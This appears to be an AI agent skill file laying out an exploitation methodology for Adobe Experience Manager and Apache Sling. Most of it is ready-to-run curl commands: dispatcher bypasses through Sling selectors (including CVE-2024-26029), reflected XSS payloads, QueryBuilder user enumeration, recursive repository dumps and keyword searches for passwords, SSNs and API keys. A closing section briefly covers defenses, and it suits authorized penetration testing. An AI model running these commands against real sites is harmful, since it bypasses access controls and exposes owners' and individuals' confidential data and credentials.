aem-sling-exploitation · git:20260529.bd54165 · 2026-05-29 · sha256 54c1f20454fde06a
aem-sling-exploitation git:20260529.bd54165A
Immutable. This exact content is served forever at /api/v1/blob/54c1f20454fde06a.
---
name: aem-sling-exploitation
description: Adobe Experience Manager (AEM) and Apache Sling exploitation — Sling selector abuse, dispatcher bypass chains, JCR enumeration, QueryBuilder exploitation, XSS gadgets, and sensitive data mining. Use when AEM detected (granite login, /etc.clientlibs, /content paths, Sling headers) or when testing Adobe CMS targets.
---
AEM security testing via Sling resource resolution abuse. Complements `hopgoblin` (CVE scanner) with manual exploitation methodology derived from 600+ AEM CVE research.
## 1. Fingerprint and version detect
```bash
# Granite login page (confirms AEM)
curl -sk "https://TARGET/libs/granite/core/content/login.html"
# System console (author instance, often blocked)
curl -sk "https://TARGET/system/console"
# ClientLibs — dotted = modern proxy, slashed = legacy (suggests /etc open for reads)
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/etc.clientlibs/"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/etc/clientlibs/"
# Version detection via listParagraphs + About page (bypasses dispatcher)
curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/granite/ui/components/shell/help/about/about.jsp&limit=1"
# CSRF token endpoint (confirms Granite auth framework)
curl -sk "https://TARGET/libs/granite/csrf/token.json"
# Current user identity (unauthenticated = anonymous)
curl -sk "https://TARGET/libs/granite/security/currentuser.json"
# User info endpoint
curl -sk "https://TARGET/libs/cq/security/userinfo.json"
```
**Deployment:** AMS (self-hosted, full attack surface) vs Cloud Service (locked down, no write-to-executable paths).
## 2. Sling URL anatomy
```
scheme://host/path/resource.selector1.selector2.extension/suffix?query
^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^ ^^^^^^
resource sel 1 sel 2 extension suffix
```
**Resolution order:**
1. Java servlet registered with exact path
2. Java servlet by `sling:resourceType`, selector, primary type, or extension
3. `sling:resourceType` pointing to JSP/HTL in `/apps`
4. Same lookup falling through to `/libs`
5. `DefaultGETServlet` as catch-all (enables `.infinity.json` for recursive dumps)
**Key insight:** Dispatcher matches raw path; Sling resolves selectors/suffixes server-side. This mismatch enables all dispatcher bypasses. POST → SlingPostServlet (node creation), DELETE → node removal (AMS write-path exploitation).
## 3. Core selector exploits
### rawcontent (reflected XSS, patched APSB22-40)
Registered on CQ Page with `.html` extension. Original purpose: strip JS/CSS for content export. Used unsafe HTML serializer that re-emitted sanitized HTML escapes as raw HTML.
```bash
# Stored XSS — if author-controllable content exists
curl -sk "https://TARGET/content/site/page.rawcontent.html"
# Reflected XSS via 404 page (path reflected as raw HTML)
curl -sk "https://TARGET/content/nonexistent%3Cimg%20src=x%20onerror=alert(1)%3E.rawcontent.html"
# Chain with savedsearch for 400 error reflection when 404 is patched
curl -sk "https://TARGET/content/nonexistent.savedsearch.rawcontent.html"
```
**Status:** Patched by swapping `htmlwriter` to `html5-serializer`. Test on unpatched AMS instances.
### listParagraphs (CVE-2022-42348 XSS, APSB22-59)
Accepts `itemResourceType` query param to re-render against arbitrary resource type. Bypasses dispatcher because Sling resolves `/libs` JSPs internally. (Note: CVE-2022-42351 in the same bulletin is an open redirect, not XSS.)
```bash
# Reach QueryBuilder via /libs JSP
curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/cq/statistics/components/queries-by-result/html.jsp&limit=1&path=/"
# Reflected XSS via path param in queries-by-result JSP
curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/cq/statistics/components/queries-by-result/html.jsp&limit=1&path=<img+src=x+onerror=alert(document.domain)>"
# Version fingerprint via About page
curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/granite/ui/components/shell/help/about/about.jsp&limit=1"
```
### form (CVE-2024-26029)
Registered on `sling/servlet/default` with no extension restriction — matches every JCR node. Internally forwards the suffix as the new path.
```bash
# Bypass dispatcher block on /bin/querybuilder.json
curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json?path=/&p.limit=10"
curl -sk "https://TARGET/content/dam.form.js/bin/querybuilder.json?path=/&p.limit=10"
curl -sk "https://TARGET/content/dam.form.html/bin/querybuilder.json?path=/&p.limit=10"
# Chain form + listParagraphs (double dispatcher bypass)
curl -sk "https://TARGET/content/site/page.form.js/content/site/page.listParagraphs.html?itemResourceType=/libs/cq/statistics/components/queries-by-result/html.jsp&path=/"
```
## 4. JCR enumeration and data mining
Once QueryBuilder or JSON selectors are reachable:
```bash
# Shallow enumeration (avoids 10K node limit)
curl -sk "https://TARGET/.1.json"
curl -sk "https://TARGET/content.1.json"
curl -sk "https://TARGET/content/dam.1.json"
# Deeper enumeration
curl -sk "https://TARGET/content/dam.2.json"
curl -sk "https://TARGET/content/dam.3.json"
# Full recursive dump (use with caution — can be large)
curl -sk "https://TARGET/content/dam.infinity.json"
# QueryBuilder: enumerate users
curl -sk "https://TARGET/bin/querybuilder.json?path=/home/users&p.limit=-1&type=rep:User"
# QueryBuilder: search for sensitive content
curl -sk "https://TARGET/bin/querybuilder.json?path=/content&fulltext=password&p.limit=10"
curl -sk "https://TARGET/bin/querybuilder.json?path=/content&fulltext=confidential&p.limit=10"
# DAM assets (often contain PII: spreadsheets, internal docs)
curl -sk "https://TARGET/bin/querybuilder.json?path=/content/dam&type=dam:Asset&p.limit=50"
# Package listing (deployment artifacts, may contain source)
curl -sk "https://TARGET/etc/packages.json"
curl -sk "https://TARGET/crx/packmgr/list.jsp"
```
**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content`, `/content/dam`, and `/var`. Financial institutions: pre-disclosure earnings reports in `/content` = insider-trading-grade impact. `/etc/packages` may contain source code, DB credentials, and API keys (Akamai keys = full WAF control + origin pivoting).
## 5. Default permissions footgun
The anonymous user belongs to the `everyone` group by default. Every "open to all users" JCR ACL also applies to unauthenticated visitors. Test:
```bash
# Check anonymous access to /libs, /apps, /etc, /var
for path in /libs /apps /etc /content /home /var; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET${path}.1.json")
echo "$path → $code"
done
```
## 6. Dispatcher bypass patterns
See [dispatcher-bypass-patterns.md](dispatcher-bypass-patterns.md) for extension confusion, selector stacking, path encoding, and semicolon path parameter techniques.
## 7. Custom selector discovery
AEM customers register custom selectors via `@SlingServlet` annotations. These are unaudited attack surface.
```bash
# If /etc/packages is readable, download and grep for servlet registrations
curl -sk "https://TARGET/crx/packmgr/list.jsp" | grep -o '"name":"[^"]*"'
# After obtaining packages, search for:
# @SlingServlet annotations, resourceTypes registrations, selector bindings
grep -rn "@SlingServlet\|sling:resourceType\|sling:selector" extracted_package/
# Brute-force common selectors on content paths
for sel in rawcontent listParagraphs form savedsearch feed json xml model tidy; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/content/dam.${sel}.html")
echo "$sel → $code"
done
```
## 8. AEM-specific XSS gadgets
See [xss-gadgets.md](xss-gadgets.md) for moment.js format injection, jQuery `.text()` entity re-decoding (post-DOMPurify bypass), and `javascript:` URI property population techniques.
## 9. Methodology phases
**Phase 1 — Fingerprint:** Granite login, clientlibs version, currentuser.json, version via listParagraphs+About page. Determine AMS vs Cloud Service.
**Phase 2 — Primitive testing:** rawcontent+savedsearch on non-existent paths, listParagraphs with itemResourceType, form selector suffix forwarding to /bin/querybuilder.json.
**Phase 3 — Data mining:** Once QueryBuilder is reachable, walk JCR with `.1.json` selectors. Drill into internal folders. Search for spreadsheets, credentials, architecture docs, "do not publish" drafts.
**Phase 4 — Custom selectors:** Grab /etc/packages if readable. Grep for SlingServlet annotations and resourceType registrations. Each custom selector is fresh attack surface.
**Phase 5 — Chain for impact:** Dispatcher bypass alone is not a finding. Chain: form bypass → QueryBuilder → user enumeration → PII exposure. Or: listParagraphs → /libs JSP → reflected XSS.
## 10. Defense assessment
**What fails:** Dispatcher rules (path-based, miss selectors/suffixes), WAF blocks (encoding bypasses).
**What works:** JCR-level ACLs (deny anonymous on /libs, /etc, /home, internal /content paths). AEM upgrades that remove vulnerable selectors at the servlet level.
**Key check:** If dispatcher blocks are the only defense, they can be bypassed. If JCR ACLs are in place, selector abuse hits 403 at the Sling layer — game over.
## Chain With
- `hopgoblin` (automated CVE scan first, then manual exploitation here)
- `apache-confusion-attacks` (if Apache httpd fronts AEM dispatcher)
- `403-bypass` (dispatcher returns 403, try header/path manipulation)
- `dom-vulnerability-detection` (for AEM-specific XSS gadgets in client JS)
- `parser-differential-bypass` (dispatcher vs Sling parsing differences)
- `write-path-to-rce` (if file write is achievable on AMS instances)